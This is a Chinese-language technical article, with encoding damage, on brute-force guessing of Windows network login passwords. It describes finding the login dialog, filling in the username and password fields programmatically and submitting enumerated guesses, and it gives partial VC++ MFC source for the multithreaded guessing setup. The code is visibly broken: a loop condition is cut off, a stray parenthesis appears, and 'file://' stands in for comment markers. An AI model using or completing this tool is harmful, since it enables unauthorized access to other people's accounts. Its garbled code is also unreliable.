Windows網(wǎng)絡(luò)用戶登錄密碼的猜解

字號(hào):

Windows網(wǎng)絡(luò)用戶密碼猜解算法的主要思想是:利用Windows提供的窗口枚舉函數(shù)EnumWindows ()找到網(wǎng)絡(luò)登錄窗口。利用子窗口枚舉函數(shù)EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位網(wǎng)絡(luò)登錄窗口上的各個(gè)控件。
    利用SendDlgItemMessage()或SetDlgItemText()來(lái)輸入用戶名及密碼。利用SendMessage()發(fā)送“確定”消息。這樣一來(lái),就利用程序完成了整個(gè)網(wǎng)絡(luò)登錄過(guò)程。在重復(fù)這個(gè)過(guò)程中采用枚舉的用戶名和密碼,進(jìn)而完成網(wǎng)絡(luò)用戶名及密碼的枚舉猜解。
    一、猜解過(guò)程流程:
    為說(shuō)明問(wèn)題,下面只寫(xiě)出主要的過(guò)程。對(duì)于關(guān)鍵過(guò)程給出用VC++實(shí)現(xiàn)的源碼。下面的流程中Mutex.Lock和Mutex.UnLock之間的代碼只允許單線程訪問(wèn)?!懊艽a枚舉完”是指用戶指定的字符集合已被枚舉完,程序?qū)⒃倜杜e一個(gè)新的用戶名,然后重新枚舉這個(gè)字符集合。關(guān)于源碼中各函數(shù)的具體用法,請(qǐng)參閱MSDN。關(guān)于多線程的用法,可參閱《VisualC++技術(shù)內(nèi)幕》。
    下面給出關(guān)鍵流程的源代碼
    1. 全局變量:
    struct _Thread
    {
    CWinThread *pThread;
    };
    _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚舉線程數(shù)
    CEvent gEventNextPass;//取下一個(gè)密碼,為實(shí)現(xiàn)同步引進(jìn)
    CEvent gEventPassOk;//已取得密碼,為實(shí)現(xiàn)同步引進(jìn)
    CEvent gEventNextUser;//取下一個(gè)用戶名,為實(shí)現(xiàn)同步引進(jìn)
    CEvent gEventUserOk;// 已取得用戶名,為實(shí)現(xiàn)同步引進(jìn)
    CMutex gMutex;//互斥量,只允許單線程訪問(wèn)
    char cCurrentPass[MAX_PASSWORD_LENGTH]; file://當(dāng)前使用的密碼。
    char cCurrentUser[MAX_USER_LENGTH];//當(dāng)前使用的用戶名
    2. 線程啟動(dòng):
    {
    file://密碼枚舉線程
    if(PassTread[0].pThread==NULL)
    {
    PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
    THREAD_PRIORITY_LOWEST);
    PassTread[0].pThread->m_bAutoDelete=TRUE;
    file://這里略去了從文件取得密碼的代碼,這些代碼和用戶名枚舉過(guò)程的代碼差不多
    }
    file://用戶名枚舉線程
    if(UserTread[0].pThread==NULL)
    {
    UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
    THREAD_PRIORITY_LOWEST);
    PassTread[0].pThread->m_bAutoDelete=TRUE;
    }
    file://窗口枚舉線程
    for(int i=0;i
    {
    if(WindowThread[i].pThread==NULL){
    WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
    THREAD_PRIORITY_LOWEST);
    WindowThread[i].pThread->m_bAutoDelete=TRUE;
    }
    }